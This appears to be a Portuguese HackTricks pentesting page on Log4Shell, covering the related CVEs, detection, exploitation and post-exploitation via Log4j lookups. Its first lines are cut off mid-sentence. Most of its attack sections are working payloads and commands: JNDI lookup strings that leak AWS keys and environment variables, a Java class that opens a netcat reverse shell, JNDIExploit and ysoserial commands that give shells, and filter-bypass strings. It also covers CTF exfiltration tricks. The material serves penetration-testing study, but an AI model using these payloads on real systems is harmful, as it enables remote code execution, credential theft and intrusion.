# JNDI - Java Naming and Directory Interface e Log4Shell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62 Essa suposição rapidamente desapareceu quando o **CVE-2021-4104** foi descoberto como impactando também o Log4j 1.x, e a possibilidade de um potencial **impacto no Logback** foi avaliada. Novas versões mais recentes do Logback, 1.3.0-alpha11 e 1.2.9, que abordam essa vulnerabilidade menos grave, foram agora lançadas. * **CVE-2021-45105** **\[Alto]**: Foi descoberto que o **Log4j 2.16.0** é vulnerável a uma falha de DoS classificada como 'Alta' em gravidade. A Apache lançou uma versão log4j 2.17.0 corrigindo o CVE. Mais detalhes sobre esse desenvolvimento são fornecidos no [último relatório](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) do BleepingComputer. * [**CVE-2021-44832**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/): Esse novo CVE afeta a **versão 2.17** do Log4j. Essa vulnerabilidade **exige que o atacante controle o arquivo de configuração do Log4j**, pois é possível indicar uma URL JDNI em um JDBCAppender configurado. Para informações sobre a **vulnerabilidade e exploração**, [**leia esta informação**](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/). ## Exploração do Log4Shell ### Descoberta Essa vulnerabilidade é muito fácil de descobrir, pois enviará pelo menos uma **solicitação DNS** para o endereço que você indicar em sua carga útil. Portanto, cargas úteis como: * `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (usando [canarytokens.com](https://canarytokens.org/generate)) * `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (usando [interactsh](https://github.com/projectdiscovery/interactsh)) * `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (usando o Burp Suite) * `${jndi:ldap://2j4ayo.dnslog.cn}` (usando [dnslog](http://dnslog.cn)) * `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` usando (usando [huntress](https://log4shell.huntress.com)) Observe que **mesmo que uma solicitação DNS seja recebida, isso não significa que a aplicação seja explorável** (ou mesmo vulnerável), você precisará tentar explorá-la. {% hint style="info" %} Lembre-se de que para **explorar a versão 2.15** você precisa adicionar a **burla de verificação de localhost**: ${jndi:ldap://**127.0.0.1#**...} {% endhint %} #### **Descoberta Local** Procure por **versões locais vulneráveis** da biblioteca com: ```bash find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" ``` ### **Verificação** Algumas das plataformas listadas anteriormente permitirão que você insira alguns dados variáveis que serão registrados quando solicitados.\ Isso pode ser muito útil para 2 coisas: * Para **verificar** a vulnerabilidade * Para **exfiltrar informações** abusando da vulnerabilidade Por exemplo, você poderia solicitar algo como:\ ou como `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se uma **solicitação DNS for recebida com o valor da variável de ambiente**, você sabe que a aplicação é vulnerável. Outras informações que você poderia tentar **vazar**: ``` ${env:AWS_ACCESS_KEY_ID} ${env:AWS_CONFIG_FILE} ${env:AWS_PROFILE} ${env:AWS_SECRET_ACCESS_KEY} ${env:AWS_SESSION_TOKEN} ${env:AWS_SHARED_CREDENTIALS_FILE} ${env:AWS_WEB_IDENTITY_TOKEN_FILE} ${env:HOSTNAME} ${env:JAVA_VERSION} ${env:PATH} ${env:USER} ${hostName} ${java.vendor} ${java:os} ${java:version} ${log4j:configParentLocation} ${sys:PROJECT_HOME} ${sys:file.separator} ${sys:java.class.path} ${sys:java.class.path} ${sys:java.class.version} ${sys:java.compiler} ${sys:java.ext.dirs} ${sys:java.home} ${sys:java.io.tmpdir} ${sys:java.library.path} ${sys:java.specification.name} ${sys:java.specification.vendor} ${sys:java.specification.version} ${sys:java.vendor.url} ${sys:java.vendor} ${sys:java.version} ${sys:java.vm.name} ${sys:java.vm.specification.name} ${sys:java.vm.specification.vendor} ${sys:java.vm.specification.version} ${sys:java.vm.vendor} ${sys:java.vm.version} ${sys:line.separator} ${sys:os.arch} ${sys:os.name} ${sys:os.version} ${sys:path.separator} ${sys:user.dir} ${sys:user.home} ${sys:user.name} Any other env variable name that could store sensitive information ``` ### Informações sobre RCE {% hint style="info" %} Os hosts que executam **versões JDK superiores a 6u141, 7u131, 8u121 estarão protegidos contra o vetor de carregamento de classe LDAP**, **MAS NÃO o vetor de desserialização**. Isso ocorre porque `com.sun.jndi.ldap.object.trustURLCodebase` está desativado por padrão, portanto, o JNDI não pode carregar um código remoto usando LDAP. Mas devemos enfatizar que a desserialização e vazamentos de variáveis ainda são possíveis.\ Isso significa que, para **explorar as versões mencionadas**, você precisará **abusar de algum gadget confiável** que exista na aplicação Java (usando ysoserial ou JNDIExploit, por exemplo). Mas para explorar versões mais baixas, você pode fazê-las carregar e executar classes arbitrariamente (o que torna o ataque mais fácil). Para **mais informações** (_como limitações nos vetores RMI e CORBA_) **verifique a seção anterior de Referência de Nomes JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) {% endhint %} ### RCE - Marshalsec com payload personalizado _Este truque é totalmente retirado da **THM box:**_ [_**https://tryhackme.com/room/solar**_](https://tryhackme.com/room/solar)\_\_ Para este exploit, a ferramenta [**marshalsec**](https://github.com/mbechler/marshalsec) (baixe uma [**versão jar daqui**](https://github.com/RandomRobbieBF/marshalsec-jar)) será usada para criar um servidor de referência LDAP para direcionar conexões para nosso servidor HTTP secundário, onde o exploit será servido: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://:8000/#Exploit" ``` Queremos que a vítima carregue o código que nos enviará um shell reverso, então você pode criar um arquivo java chamado Exploit.java com o seguinte conteúdo: {% code title="" %} ```java public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } } ``` {% endcode %} Crie o **arquivo de classe** executando: `javac Exploit.java -source 8 -target 8` e depois execute um **servidor HTTP** no mesmo diretório em que o arquivo de classe foi criado: `python3 -m http.server`.\ O **servidor LDAP do marshalsec deve apontar para este servidor HTTP**.\ Em seguida, você pode fazer com que o **servidor web vulnerável execute a classe de exploit** enviando um payload como: ```bash ${jndi:ldap://:1389/Exploit} ``` Observação: Se o Java não estiver configurado para carregar a base de código remota usando LDAP, este exploit personalizado não funcionará. Nesse caso, é necessário abusar de uma classe confiável para executar código arbitrário. ### RCE - **JNDIExploit** {% hint style="info" %} Observe que, por algum motivo, o autor removeu este projeto do Github após a descoberta do log4shell. Você pode encontrar uma versão em cache em [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), mas se você quiser respeitar a decisão do autor, use um método diferente para explorar essa vulnerabilidade. Além disso, você não pode encontrar o código-fonte na máquina do wayback, então analise o código-fonte ou execute o jar sabendo que você não sabe o que está executando. {% endhint %} Para este exemplo, você pode simplesmente executar este **servidor web vulnerável ao log4shell** na porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_no README você encontrará como executá-lo_). Este aplicativo vulnerável está registrando com uma versão vulnerável do log4shell o conteúdo do cabeçalho da solicitação HTTP _X-Api-Version_. Em seguida, você pode baixar o arquivo jar **JNDIExploit** e executá-lo com: ```bash wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access ``` Depois de ler o código por apenas alguns minutos, em _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_, você pode ver como os **servidores LDAP e HTTP são criados**. O servidor LDAP entenderá qual payload precisa ser servido e redirecionará a vítima para o servidor HTTP, que servirá o exploit.\ Em _com.feihong.ldap.gadgets_, você pode encontrar **alguns gadgets específicos** que podem ser usados para executar a ação desejada (potencialmente executar código arbitrário). E em _com.feihong.ldap.template_, você pode ver as diferentes classes de modelo que **gerarão os exploits**. Você pode ver todos os exploits disponíveis com **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Alguns úteis são: ```bash ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] # But there are a lot more ``` Então, no nosso exemplo, já temos o aplicativo vulnerável do docker em execução. Para atacá-lo: ```bash # Create a file inside of th vulnerable host: curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' # Get a reverse shell (only unix) curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' ``` Ao enviar os ataques, você verá alguma saída no terminal onde executou o **JNDIExploit-1.2-SNAPSHOT.jar**. Lembre-se de verificar `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` para outras opções de exploração. Além disso, caso precise, é possível alterar a porta dos servidores LDAP e HTTP. ### RCE - JNDI-Exploit-Kit De maneira semelhante ao exploit anterior, você pode tentar usar o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para explorar essa vulnerabilidade.\ Você pode gerar os URLs para enviar à vítima executando: ```bash # Get reverse shell in port 4444 (only unix) java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 # Execute command java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" ``` _Este ataque usando um objeto java gerado personalizado funcionará em laboratórios como a **sala solar THM**. No entanto, isso geralmente não funcionará (porque por padrão o Java não está configurado para carregar uma base de código remota usando LDAP) acredito que porque não está abusando de uma classe confiável para executar código arbitrário._ ### RCE - ysoserial & JNDI-Exploit-Kit Esta opção é realmente útil para atacar **versões Java configuradas para confiar apenas em classes especificadas e não em todos**. Portanto, **ysoserial** será usado para gerar **serializações de classes confiáveis** que podem ser usadas como gadgets para **executar código arbitrário** (_a classe confiável abusada pelo ysoserial deve ser usada pelo programa java da vítima para que o exploit funcione_). Usando **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) você pode criar o exploit de deserialização que será baixado pelo JNDI: ```bash # Rev shell via CommonsCollections5 java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser ``` Use o [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) para gerar **links JNDI** onde o exploit estará esperando conexões das máquinas vulneráveis. Você pode servir **diferentes exploits que podem ser gerados automaticamente** pelo JNDI-Exploit-Kit ou até mesmo seus **próprios payloads de deserialização** (gerados por você ou pelo ysoserial). ```bash java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser ``` Agora você pode facilmente usar um link JNDI gerado para explorar a vulnerabilidade e obter um **shell reverso** apenas enviando para uma versão vulnerável do log4j: **`${ldap://10.10.14.10:1389/generated}`** ### Bypasses ```java ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/} ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/} ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z} ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/} ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ``` ### Scanners Automáticos * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell) * [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner) * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) * [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Encontre bibliotecas vulneráveis locais ### Laboratórios para testar * [**Máquina HTB LogForge**](https://app.hackthebox.com/tracks/UHC-track) * [**Try Hack Me Solar room**](https://tryhackme.com/room/solar) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) ## Pós-Exploração do Log4Shell Neste [**writeup de CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) é bem explicado como é **possível** **abusar** de algumas funcionalidades do **Log4J**. A [**página de segurança**](https://logging.apache.org/log4j/2.x/security.html) do Log4j tem algumas frases interessantes: > A partir da versão 2.16.0 (para Java 8), a funcionalidade de **busca de mensagens foi completamente removida**. **As buscas na configuração ainda funcionam**. Além disso, o Log4j agora desativa o acesso ao JNDI por padrão. As buscas JNDI na configuração agora precisam ser habilitadas explicitamente. > A partir da versão 2.17.0 (e 2.12.3 e 2.3.1 para Java 7 e Java 6), **apenas as strings de busca na configuração são expandidas recursivamente**; em qualquer outro uso, apenas a busca de nível superior é resolvida e quaisquer buscas aninhadas não são resolvidas. Isso significa que, por padrão, você pode **esquecer o uso de qualquer exploit `jndi`**. Além disso, para realizar **buscas recursivas**, você precisa tê-las configuradas. Por exemplo, neste CTF, isso foi configurado no arquivo log4j2.xml: ```xml ``` ### Buscas de Ambiente Neste CTF, o atacante controlava o valor de `${sys:cmd}` e precisava extrair a flag de uma variável de ambiente.\ Como visto nesta página em [**cargas úteis anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), existem diferentes maneiras de acessar variáveis de ambiente, como: **`${env:FLAG}`**. Neste CTF, isso foi inútil, mas pode não ser em outros cenários da vida real. ### Exfiltração em Exceções No CTF, você **não podia acessar o stderr** do aplicativo java usando o log4J, mas as **exceções do Log4J são enviadas para stdout**, que foi impresso no aplicativo python. Isso significava que, ao disparar uma exceção, poderíamos acessar o conteúdo. Uma exceção para exfiltrar a flag foi: **`${java:${env:FLAG}}`.** Isso funciona porque **`${java:CTF{blahblah}}`** não existe e uma exceção com o valor da flag será mostrada: ![](<../../.gitbook/assets/image (157).png>) ### Exceções de Padrões de Conversão Apenas para mencionar, você também pode injetar novos [**padrões de conversão**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) e disparar exceções que serão registradas em `stdout`. Por exemplo: ![](<../../.gitbook/assets/image (3) (2) (1) (1).png>) Isso não foi útil para exfiltrar a data dentro da mensagem de erro, porque a pesquisa não foi resolvida antes do padrão de conversão, mas pode ser útil para outras coisas, como detecção. ### Regexes de Padrões de Conversão No entanto, é possível usar alguns **padrões de conversão que suportam regexes** para exfiltrar informações de uma pesquisa usando regexes e abusando de comportamentos de **busca binária** ou **baseados em tempo**. * **Busca binária via mensagens de exceção** O padrão de conversão **`%replace`** pode ser usado para **substituir** **conteúdo** de uma **string** mesmo usando **regexes**. Funciona assim: `replace{pattern}{regex}{substituição}`\ Abusando desse comportamento, você pode fazer com que o **replace dispare uma exceção se o regex corresponder** a qualquer coisa dentro da string (e nenhuma exceção se não for encontrado), assim: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* ## and ONLY if it's found ${error} will be resolved with will trigger an exception ``` * **Baseado em tempo** Como mencionado na seção anterior, **`%replace`** suporta **regexes**. Portanto, é possível usar um payload da página [**ReDoS**](../regular-expression-denial-of-service-redos.md) para causar um **timeout** caso a flag seja encontrada.\ Por exemplo, um payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` causaria um **timeout** nesse CTF. Neste [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), em vez de usar um ataque ReDoS, foi usado um **ataque de amplificação** para causar uma diferença de tempo na resposta: > ``` > /%replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{ > %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > }{#}{######################################################} > ``` > > Se a flag começar com `flagGuess`, toda a flag será substituída por 29 `#`-s (eu usei esse caractere porque provavelmente não faria parte da flag). **Cada um dos 29 `#`-s resultantes é então substituído por 54 `#`-s**. Esse processo é repetido **6 vezes**, resultando em um total de ` 29*54*54^6* =`` `` `**`96816014208` `#`-s!** > > Substituir tantos `#`-s acionará o timeout de 10 segundos do aplicativo Flask, o que, por sua vez, resultará no código de status HTTP 500 sendo enviado ao usuário. (Se a flag não começar com `flagGuess`, receberemos um código de status não 500) ## Referências * [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/) * [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/) * [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4) * [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar) * [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78) * [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).